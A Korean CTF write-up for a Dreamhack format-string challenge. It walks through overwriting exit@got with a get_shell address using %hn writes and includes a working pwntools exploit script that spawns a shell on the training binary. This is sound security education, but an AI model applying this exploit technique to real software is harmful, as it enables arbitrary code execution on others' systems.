Index
문제
보호기법 확인
NX bit가 켜져있고, Partial RELRO이므로 GOT overwrite가 가능하다.
basic_exploitation_002.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
printf
함수에서 포맷스트링 버그가 발생한다. main
함수에서 리턴없이 exit
함수를 이용해서 프로그램을 정상종료시킨다. get_shell
함수로 코드 흐름을 바꾸면 셸을 얻을 수 있다.먼저, 바이너리를 실행시켜보자.
문제 풀이
AAAA
값을 넣고 %p
로 주소값을 출력시켰다. 이때 스택 주소 값에서 첫번째 값으로 주었던 AAAA
인 0x41414141
값이 출력되는 것을 확인할 수 있다.
AAAA
대신 입력시킬 메모리 주소를 넣고, %[n]c
로 문자열 길이를 채워주면서 %$1n
으로 AAAA
자리 대신에 들어가는 주소에 값을 쓸 수 있다.
코드에서 마지막에 exit
함수가 실행되는데, 여기서 exit@got
를 get_shell
함수 주소로 overwrite하면 셸을 얻을 수 있다.
exit@got
는 위 사진처럼 0x804a024
이다.
get_shell
함수 주소는 0x8048609
이다. 이 값을 10진수로 표현할 것인데, 0x8048609
는 10진수로 134,514,185
이라 값이 너무 커서 범위를 초과한다. 따라서 2byte 단위로 끊어서 값을 세팅해줘야 한다. 그러면 exit@got+2
에는 0x804
를, exit@got
에는 0x8609
값을 넣어주면 된다.
그러면 페이로드는 0x804a026 + 0x804a024 + %2044c%1$hn + %32261c%2$hn
이 된다.
앞에 두개 주소는 각각 exit@got+2
와 exit@got
이다. 여기서 주의할 점은 리틀엔디언이라는 것이다.
이제 0x804
와 0x8609
를 입력해줄 것이다. 여기서 주의할 점은 값이 작은 인자부터 입력해줘야 한다. 큰 값을 먼저 입력하게 되면, 두번째 인자에서 앞보다 작은 값을 %n
으로 해줄 수 없기 때문이다.
%n
사이에 h
는 2byte
씩 참조했기 때문에 입력해줘야 한다.
다시 정리하면 첫번째 주소(1$)에 들어갈 값은 0x804
이기 때문에 10진수로 2052
가 들어가야 하지만, 앞에 8byte
를 입력했기 때문에 %2044c
로 공간을 채워 2052
값이 첫번째 주소(1$)에 들어간다.
이후 두번째 주소(2$)에 들어갈 값은 0x8609
이기 때문에 10진수로 34313
가 들어가야 하지만, 앞에 입력된 2052byte
를 빼서 %32261c
로 공간을 채워 34313
값이 두번째 주소(2$)에 들어간다.
그러면 exit@got
인 0x804a024
는 0x8048609
의 값으로 overwrite되고, 코드 마지막에서 exit
함수가 실행될 때 get_shell
함수가 실행되면서 셸을 획득한다.
익스플로잇
from pwn import *
p = process('./basic_exploitation_002')
e = ELF('./basic_exploitation_002')
#p = remote('host3.dreamhack.games', 17892)
get_shell = 0x08048609
exit_got_addr1 = e.got['exit']
exit_got_addr2 = e.got['exit']+2
payload = p32(exit_got_addr2)
payload += p32(exit_got_addr1)
payload += b'%2044c%1$hn'
payload += b'%32261c%2$hn'
p.sendline(payload)
p.interactive()
Uploaded by N2T